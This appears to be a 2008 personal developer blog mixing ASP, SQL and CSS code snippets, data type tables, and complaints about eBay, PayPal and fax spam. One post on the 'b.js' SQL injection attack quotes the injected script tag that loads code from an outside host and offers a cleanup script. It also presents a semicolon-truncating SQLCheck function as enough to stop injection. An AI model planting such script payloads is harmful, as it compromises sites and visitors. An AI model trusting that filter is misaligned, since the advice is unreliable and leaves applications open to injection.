John's Blog

Classic ASP Title Case

2008-07-29T12:00:00+10:00

Need a function that capitalises the first letter of each word, as used in titles?

Unlike some title case functions, this one doesn't just look for spaces, but capitilises the first letter after each non-alpha character which means that hyphenated words and words after numbers are considered new words.

Function TitleCase(byVal strValue) Dim intChat, intLastChar, blnUCase strValue = LCase(strValue) For intChar = 1 To Len(strValue) blnUCase = False If intChar = 1 Then blnUCase = True Else intLastChar = Asc(Mid(strValue, intChar - 1, 1)) If Not ((intLastChar >= 97 And intLastChar <= 122) Or (intLastChar >= 65 And intLastChar <= 90)) Then blnUCase = True End If End If If blnUCase Then strValue = Left(strValue, intChar - 1) & UCase(Mid(strValue, intChar, 1)) & Mid(strValue, intChar + 1) End If Next TitleCase = strValue End Function

Does stopfax.com.au really stop junk faxes?

2008-07-26T12:00:00+10:00

I received a "spam" fax some time ago on my home fax machine. I was pleased to see an opt-out website link at the bottom of the page which was www.stopfax.com.au/companyname. I didn't want any more faxes sent to my home fax so I went to the address and through the process to remove myself from this list.

However, over the following months I continued to receive "spam" faxes all from different companies but with a similar stopfax.com.au link to be removed from list.

I did follow the removal process with each fax but the faxes have not stopped.

I did a whois lookup of the stopfax.com.au domain name and found the owner to be:

CBOX PTY LTD
www.cbox.com.au

I have sent the following message through their contact us form on their website and will see what the response is.

Please remove my fax number from your database - 02xxxxxxxx. This is a home fax machine and I do not wish to receive any more faxes from any of your customers ever again. Thank you.

SQL Injection Protection - b.js

2008-06-30T12:00:00+10:00

There is a automated SQL injection attack doing the rounds at the moments which injects some html (<script src=http://www.domain.com/b.js></script>) into certain fields in all the tables in a database.

If you have been attacked don't feel bad as an Internet search of "b.js" reveals tens of thousands of hacked sites.

The attack cleverly appends a series of SQL commands onto your querystrings and if your code is unprotected, and you don't use Access databases, the commands may be passed on to your SQL server and the damage done.

Considering the damage that could be done by this sort of attack, I guess we are lucky that they chose only to append on their little JavaScript.

However, this attack could render your website as "unsafe" in search engine results.

Reversing the Damage

We are also extremely fortunate that the changes can be easily reversed with a few changes of the attackers original SQL commands.

Simply execute the following to clean up the damage. If you have been attacked multiple times (ie. you have multiple script blocks appended to your SQL data) then you will need to execute the following script for each attack.

DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update ['+@T+'] set ['+@C+'] = left( convert(varchar(8000), ['+@C+']), len(convert(varchar(8000), ['+@C+'])) - 6 - patindex(''%tpircs<%'', reverse(convert(varchar(8000), ['+@C+']))) ) where ['+@C+'] like ''%<script%</script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor;

Protecting against attacks

There are many methods out there to protect against this sort of attack.

The following function is a good method which removes multiple inline SQL commands. If you issue multiple inline SQL commands in one go then obviously it will not be suitable but for everyone else it should stop any attack.

Parse your SQL command strings with the following syntax:

SQLCheck(sql-string-here)

Function SQLCheck(strCommand) Dim intChar Dim blnQuotes SQLCheck = strCommand blnQuotes = False For intChar = 1 To Len(strCommand) If Mid(strCommand, intChar, 1) = "'" Then If Not blnQuotes Then blnQuotes = True Else If intChar < Len(strCommand) Then If Mid(strCommand, intChar + 1, 1) = "'" Then intChar = intChar + 1 Else blnQuotes = False End If End If End If ElseIf Mid(strCommand, intChar, 1) = ";" Then If Not blnQuotes Then SQLCheck = Left(strCommand, intChar - 1) Exit For End If End If Next End Function

Unfair eBay fees for used cars

2008-06-10T12:00:00+10:00

Having just been through the process of selling a cheap used car on eBay I have seen first hand the unfairness of eBay's fees for this category.

By a cheap car I mean $250.

eBay's fees are $5 for the listing and a fixed commission of $40 upon successful sale.

For a $250 car that means the fees total nearly 20%.

Selling a $50,000 car? Your fees would be just a fraction of 1%.

I realise that eBay have to be price competitive with other online car advertising sites but surely for cheap cars they could have a lower commission based on the sale price.

Now I see why I often see cheap used cars advertised outside of the used car category.

100% CSS Layout

2008-05-28T12:00:00+10:00

I had been looking for a CSS layout that has three components - a header, footer and content area - and the following characteristics:

When the content in the content area does not fill the available window space the footer should be set to the bottom of the page.
When the content overflows the footer should be positioned at the end of the document, off the screen.
The content area should fill at least all remaining window space so that any object I put inside it can scale to 100% of its height.
The content area should have a minimum height so that it won't look silly in a very tiny window (unlikely)
If the user resizes the browser the content area should resize.

I couldn't find a pure CSS solution so I came up with a solution that uses CSS and JavaScript.

View Sample (new window)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>Untitled Page</title> <script type="text/javascript"> function maxContent(){ var divContent = getElementDimensions(document.getElementById("content")); var divHeader = getElementDimensions(document.getElementById("header")); var divFooter = getElementDimensions(document.getElementById("footer")); var remainder = document.documentElement.clientHeight - divContent.y - divFooter.height - 0 if(remainder<250){remainder=250}; //minimum height of content document.getElementById("content").style.height = remainder + "px"; function getElementDimensions(q){ var offsetY=offsetX=0; var height=q.scrollHeight; var width=q.scrollWidth; while(q){ offsetX+=q.offsetLeft; offsetY+=q.offsetTop; q=q.offsetParent; } return{ "x":offsetX,"y":offsetY,"height":height,"width":width }; } } window.onload = maxContent; window.onresize = maxContent; </script> <style type="text/css"> html,body { margin:0; padding:0; } div#container { } div#header { background-color:#fbb; } div#content { background-color:#bfb; } div#footer { background-color:#bbf; width:100%; bottom:0; } </style> </head> <body> <div id="container"> <div id="header"> Header </div> <div id="content"> <table border="1" height="100%"> <tr> <td>1</td> <td>2</td> <td>3</td> </tr> <tr> <td>b1</td> <td>b2</td> <td>b3</td> </tr> </table> </div> <div id="footer"> Footer </div> </div> </body> </html>

MySql: Data Types

2008-05-03T12:00:00+10:00

Type {storage}	Name	Range	Attributes	Default
Numeric {1 byte}	TINYINT[(M)]	-128 TO 127 [0 to 255 if UNSIGNED]	AUTO_INCREMENT UNSIGNED, ZEROFILL, SERIAL DEFAULT VALUE	NULL [0 if NOT NULL]
Numeric {2 bytes}	SMALLINT[(M)]	-32,768 to 32,767 [0 to 65,535]	AUTO_INCREMENT, UNSIGNED, ZEROFILL, SERIAL DEFAULT VALUE	NULL [0 if NOT NULL]
Numeric {3 bytes}	MEDIUMINT[(M)]	-8,388,608 to 8,388,607 [0 to 16,777,215]	AUTO_INCREMENT, UNSIGNED, ZEROFILL, SERIAL DEFAULT VALUE	NULL [0 if NOT NULL]
Numeric {4 bytes}	INT[(M)]	-/+2.147E+9 [0 to 4.294E+9]	AUTO_INCREMENT, UNSIGNED, ZEROFILL, SERIAL DEFAULT VALUE	NULL [0 if NOT NULL]
Numeric {8 bytes}	BIGINT[(M)]	-/+9.223E+18 [0 to 18.45E+18]	AUTO_INCREMENT, UNSIGNED, ZEROFILL, SERIAL DEFAULT VALUE	NULL [0 if NOT NULL]
Numeric {4 or 8}	FLOAT(p)	p=0-24 --> "FLOAT" p=25-53 --> "DOUBLE"	UNSIGNED, ZEROFILL	NULL [0 if NOT NULL]
Numeric {4 bytes}	FLOAT[(M,D)]	Min=+/-1.175E-38 Max=+/-3.403E+38	UNSIGNED, ZEROFILL	NULL [0 if NOT NULL]
Numeric {8 bytes}	DOUBLE[(M,D)]	Min=+/-2.225E-308 Max=+/-1.798E+308	UNSIGNED, ZEROFILL	NULL [0 if NOT NULL]
Numeric {M+2}	DECIMAL[(M,[D])] Stored as string	Max Range = DOUBLE range Fixed point vs. DOUBLE float	UNSIGNED, ZEROFILL	NULL [0 if NOT NULL]
Bit {8 bytes}	BIT[(M)]	Binary. Display by [add zero \| converting with BIN()]. M=1-64	Prior to 5.03 TINYINT(1) Synonym	NULL [0 if NOT NULL]
String {M char's}	CHAR[(M)]	M=0-255 Characters, FIXED. Right padded with spaces.	BINARY, CHARACTER SET	NULL ["" if NOT NULL]
String {M char's¹}	VARCHAR(M)	M=0-65,535 Characters M=0-255 <v5.0.3	BINARY, CHARACTER SET	NULL ["" if NOT NULL]
String {#char's¹}	TINYTEXT²	0-255 Characters	BINARY, CHARACTER SET	NULL ["" if NOT NULL]
String {#char's¹}	TEXT²	0-65,535 Char's	BINARY, CHARACTER SET	NULL ["" if NOT NULL]
String {#char's¹}	MEDIUMTEXT²	0-16,777,215 Char's	BINARY, CHARACTER SET	NULL ["" if NOT NULL]
String {#char's¹}	LONGTEXT²	0-4,294,967,295 Char's	BINARY, CHARACTER SET	NULL ["" if NOT NULL]
String {M bytes}	BINARY[(M)]	M=0-255 bytes, FIXED.	Global Only (case sensitive)	NULL ["" if NOT NULL]
String {M bytes}	VARBINARY(M)	0-65,535 bytes M=0-255 <v5.0.3	Global Only (case sensitive)	NULL ["" if NOT NULL]
String {#bytes¹}	TINYBLOB	0-255 bytes	Global Only (case sensitive)	NULL ["" if NOT NULL]
String {#bytes¹}	BLOB	0-65,535 bytes	Global Only (case sensitive)	NULL ["" if NOT NULL]
String {#bytes¹}	MEDIUMBLOB	0-16,777,215 bytes	Global Only (case sensitive)	NULL ["" if NOT NULL]
String {#bytes¹}	LONGBLOB	0-4,294,967,295 bytes	Global Only (case sensitive)	NULL ["" if NOT NULL]
String {1-2 bytes}	ENUM² ("A1","A2",...)	Column is exactly 1 of 1-65,535 values	CHARACTER SET	NULL [1st value if NOT NULL]
String {1-8 bytes}	SET² ("A1","A2",...)	Column is 0 or more values in list of 1-64 members	CHARACTER SET	NULL ["" if NOT NULL]
Date & Time {3 bytes}	DATE	"1000-01-01" - "9999-12-31"	Global Only (YYYY-MM-DD)	NULL ["0000-00-00" if NOT NULL]
Date & Time {8 bytes}	DATETIME	"1000-01-01 00:00:00" - "9999-12-31 23:59:59"	Global Only (YYYY-MM-DD hh:mm:ss)	NULL ["0000-00-00 00:00:00" if NOT NULL]
Date & Time {3 bytes}	TIME	"-838:59:59" - "838:59:59"	Global Only (hh:mm:ss)	NULL ["00:00:00" if NOT NULL]
Date & Time {4 bytes}	TIMESTAMP	19700101000000 - 2037+	Global Only (YYYYMMDDhhmmss)	Current Date & Time
Date & Time {1 bytes}	YEAR	1900 - 2155	Global Only (YYYY)	NULL ["0000" if NOT NULL]

MS-SQL: Data Types

2008-05-03T12:00:00+10:00

Data Types	Description
bigint	Integer data from -2^63 through 2^63-1
int	Integer data from -2^31 through 2^31 - 1
smallint	Integer data from -2^15 through 2^15 - 1
tinyint	Integer data from 0 through 255
bit	Integer data with either a 1 or 0 value
decimal	Fixed precision and scale numeric data from -10^38 +1 through 10^38 -1
numeric	Fixed precision and scale numeric data from -10^38 +1 through 10^38 -1
money	Monetary data values from -2^63 through 2^63 - 1
smallmoney	Monetary data values from -214,748.3648 through +214,748.3647
float	Floating precision number data from -1.79E + 308 through 1.79E + 308
real	Floating precision number data from -3.40E + 38 through 3.40E + 38
datetime	Date and time data from January 1, 1753, through December 31, 9999, with an accuracy of 3.33 milliseconds
smalldatetime	Date and time data from January 1, 1900, through June 6, 2079, with an accuracy of one minute
char	Fixed-length character data with a maximum length of 8,000 characters
varchar	Variable-length data with a maximum of 8,000 characters
text	Variable-length data with a maximum length of 2^31 - 1 characters
nchar	Fixed-length Unicode data with a maximum length of 4,000 characters
nvarchar	Variable-length Unicode data with a maximum length of 4,000 characters
ntext	Variable-length Unicode data with a maximum length of 2^30 - 1 characters
binary	Fixed-length binary data with a maximum length of 8,000 bytes
varbinary	Variable-length binary data with a maximum length of 8,000 bytes
image	Variable-length binary data with a maximum length of 2^31 - 1 bytes
cursor	A reference to a cursor
sql_variant	A data type that stores values of various data types, except text, ntext, timestamp, and sql_variant
table	A special data type used to store a result set for later processing
timestamp	A database-wide unique number that gets updated every time a row gets updated
uniqueidentifier	A globally unique identifier

VBScript: Suggested Prefixes for Indicating the Data Type of a Variable

2008-05-03T12:00:00+10:00

Data Type	Prefix
ADO command	cmd
ADO connection	cnn
ADO field	fld
ADO parameter	prm
ADO recordset	rst
Boolean	bln
Byte	byt
Collection object	col
Currency	cur
Date-time	dtm
Double	dbl
Error	err
Integer	int
Long	lng
Object	obj
Single	sng
String	str
User-defined type	udt
Variant	vnt

Handling Boolean Fields in MS-SQL and MS-Access

2008-05-03T12:00:00+10:00

If you have migrated from Microsoft Access to SQL Server or MySql then you have probably encountered the differences with boolean values.

In Microsoft Access you can use true or false in queries, for example:

SELECT * FROM tablename WHERE booleanfield=TRUE
SELECT * FROM tablename WHERE booleanfield=FALSE

SQL Server/MySql require a different approach:

SELECT * FROM tablename WHERE booleanfield=1
SELECT * FROM tablename WHERE booleanfield=0

The Microsoft Access query will not work in SQL Server/MySql and the SQL Server/MySql query will not work in Access as it treats true as -1 not 1.

For a cross-platform solution you can use the following:

SELECT * FROM tablename WHERE booleanfield<>0
SELECT * FROM tablename WHERE booleanfield=0

Fixing LCD Stuck Pixels, Dead Pixels and Burn-in

2008-04-23T12:00:00+10:00

A stuck pixel is a coloured dot most noticable when the rest of the screen is black.

A dead pixel is a black dot noticable when the rest of the screen is white.

Burn-in (also known as image persistence) occurs when part or all of the display stays on screen for long periods without changing.

If you have a dead pixel then there is nothing you can do. However if you have a stuck pixel then there is a small possibility that you may be able to get it working again. LCD burn-in can also be improved (but not completely eliminated) on LCD screens.

To try and fix these problems you can download the applet at www.jscreenfix.com and follow the instructions there. Note: this applet cannot be downloaded or operated if you are using Internet Explorer. Instead use Firefox or another compatible browser.

A proper screen blanker (one that keeps all parts of the display changing reasonably frequently) is a good idea on any type of monitor.

I hate PayPal

2008-04-15T12:00:00+10:00

Found an interesting contradition while paying for a purchase through PayPal today.

If you read my previous post about how PayPal/eBay effectively forced me to upgrade to a fee-paying due to their requirement for all sellers to accept credit cards, even on the limited free account.

For the payments I made tonight I see now that PayPal are trying to "guide" people towards making payments by bank transfer rather than credit card. They do this by defaulting to make the payment by bank transfer, making it difficult to change to credit card (by making the confirmation button almost look greyed out so you could easily accidently click the wrong button), and by various warnings about why you shouldn't pay by credit card.

My guess is that bank transfers are more profitable than credit card transactions and that credit cards are not so secure for PayPal -- people can easily cancel purchases through their credit card issuer which creates extra work for PayPal and could result in losses.

Anyway, I was a little angered to see the following message when I was "warned" against paying by credit card:

"Note: Sellers with Personal accounts cannot receive credit card payments. Any PayPal user can receive bank account payments."

Does this seem like the practices of an honest company?

eBay Announcement - PayPal will be required on all listings

2008-04-12T12:00:00+10:00

So eBay have announced that as of May/June 2008 virtually all auctions will have to be paid for by PayPal. (See http://pages.ebay.com.au/useprotection/changes.html)

Looking on the positive side, given my recent experience with fraud on eBay, this change will certainly make transactions safer.

But I wonder if eBay have any plans to reduce PayPal fees now that everyone will be forced to use PayPal. Will they include PayPal fees as part of the estimate calculated when you preview a new item listing I wonder?

As I am also involved with a business that lists around a thousand items at any one time on eBay, I am not happy that we can no longer offer our usual forms of payment. We would certainly like to continue to offer accepting credit cards directly (much cheaper than accepting credit cards through PayPal). I would say that credit cards are at least as secure form of payment as PayPal so not allowing them unless through PayPal goes against eBay's claims of this being for the protection of eBay customers.

They will stand to make a lot more profit in PayPal fees which is most certainly some motivation for the change.

Hopefully this change will give some people the impetus to look at some of the alternatives such as Oztion.

I got defrauded!

2008-04-02T12:00:00+10:00

Well for the first time I won something on eBay, paid for it, and it never arrived.

I paid immediately upon winning the item by bank deposit as that was the only method the seller accepted. Bank deposit seemed like a reasonably safe payment method as it is traceable.

Within a week the item hadn't arrived and other people who also won the same auction (it was a multiple listing) had already given the seller a negative rating. About this time eBay sent me a generic email warning me that I may have received a fraudulant offer from this seller.

Then they sent another generic email saying the auction had been cancelled and the result was null and void. Here's a quote from it:

"eBay has cancelled all bids or offers on this listing and you no longer have any obligation to purchase the item. If the seller chooses to relist the item, you're welcome to bid on it again."

Not much use after the auction ended, eBay. And removing the listing also removed my record of the seller, their contact details and any of eBay's dispute resolution channels (not that they would help anyway).

I notice the seller has also been deregistered.

In eBay's help pages they suggest reporting these incidents with the police. eBay have not made this easy as they have removed the listing, and will not provide contact details because I cannot provide a valid listing number. All I have is the seller's user name, the listing number and the bank account details.

I have sent eBay a question about what they can do to help.

Will report updates here if anything actually happens.

A Warning About Network Solutions

2008-03-03T12:00:00+10:00

I used to use Network Solution's (NetSol) website to check availability of domain names as it allowed me to type in a list of domain names in one go.

Up until recently this had been fine.

Recently I did this as usual and when I chose the domain name I wanted to register I attempted to register it with another domain name registrar.

Strangely the other registrar said that the domain name had already been registered. I checked again with Network Solutions and it said the name was still available.

I investigated further and found that the name was just registered to Network Solutions.

Further investigation revealed that Network Solutions take advantage of a facility available to all registrars called "Domain Tasting". This allows them to register a domain name for up to 5 days without paying for it, then they can choose not to pay for it and the name will be released.

I read elsewhere that Network Solutions increase the price to register the domain name over the next few days in an attempt to scare you into buying the domain name immediately.

So you have been warned. When you do a domain name search with Network Solutions they will register that domain name immediately, whether you end up registering with them or not. And if you choose to register it with another registrar you will have to wait at least 3 days.

VBScript Class to Send Mail With CDOSYS

2008-02-16T12:00:00+10:00

This is my first attempt at a VBScript class.

It allows full control of the CDO Message object.

You can create a new instance of the class with the following:

Dim clsSendMail
Set clsSendMail = New SendMail

Then add the various properties of the email:

clsSendMail.SendTo = "test@test.com"
clsSendMail.From = "test@test.com"
clsSendMail.Subject = "Test Message"

Next you choose what type of mail you are going to send: plain text, HTML or from a URL or local file.

Type	Property/Method	Syntax
Plain Text	TextBody	clsSendMail.TextBody = "message here"
HTML	HTMLBody	clsSendMail.HTMLBody = "<b>html</b> message here"
URL	CreateMHTMLBody	Call clsSendMail.CreateMHTMLBody "http://www.url.com/pagename.htm"
Local File	CreateMHTMLBody	Call clsSendMail.CreateMHTMLBody "file://c:/mydocuments/test.htm"

To add an attachment use the following:

Call clsSendMail.AddAttachment "c:\mydocuments\test.txt"

To embed files in your message use:

clsSendMail.AddRelatedBodyPart "/older/imagefile.gif", "image1.gif"

This can then be included in your HTMLBody by referencing the second parameter as the CID, for example:

<img src="cid:image1.gif">

You can also set a SMTP server and port if neccessary:

Call clsSendMail.SMTPServer "mail.test.com", 25

SendMail Class

Class SendMail

Private objCDOMessage
	Private objCDOBodyPart

Private strTo
	Private strFrom
	Private strCC
	Private strBCC
	Private strSubject
	Private strTextBody
	Private strHTMLBody

Private Sub Class_Initialize()
		Set objCDOMessage = CreateObject("CDO.Message")
	End Sub

Private Sub Class_Terminate()
		Set objCDOMessage = Nothing
	End Sub

Public Property Let SendTo(strParam1)
		strTo = strParam1
	End Property

Public Property Let From(strParam1)
		strFrom = strParam1
	End Property

Public Property Let CC(strParam1)
		strCC = strParam1
	End Property

Public Property Let BCC(strParam1)
		strBCC = strParam1
	End Property

Public Property Let Subject(strParam1)
		strSubject = strParam1
	End Property

Public Property Let TextBody(strParam1)
		strTextBody = strParam1
	End Property

Public Property Let HTMLBody(strParam1)
		strHTMLBody = strParam1
	End Property

Public Sub CreateMHTMLBody(strParam1)
		objCDOMessage.CreateMHTMLBody strParam1
	End Sub

Public Sub AddAttachment(strParam1)
		objCDOMessage.AddAttachment strParam1
	End Sub

Public Sub SMTPServer(strParam1, intParam2)
		objCDOMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
		objCDOMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strParam1
		objCDOMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = intParam2
		objCDOMessage.Configuration.Fields.Update
	End Sub

Public Sub AddRelatedBodyPart(strParam1, strParam2)
		Set objCDOBodyPart = objCDOMessage.AddRelatedBodyPart(Server.MapPath(strParam1), strParam2, 1)
		objCDOBodyPart.Fields.Item("urn:schemas:mailheader:Content-ID") = "<" & strParam2 & ">"
		objCDOBodyPart.Fields.Update
	End Sub

Public Sub Send()
		If strTo <> "" Then objCDOMessage.To = strTo
		If strFrom <> "" Then objCDOMessage.From = strFrom
		If strCC <> "" Then objCDOMessage.CC = strCC
		If strBCC <> "" Then objCDOMessage.BCC = strBCC
		If strSubject <> "" Then objCDOMessage.Subject = strSubject
		If strTextBody <> "" Then objCDOMessage.TextBody = strTextBody
		If strHTMLBody <> "" Then objCDOMessage.HTMLBody = strHTMLBody
		objCDOMessage.Send
	End Sub
End Class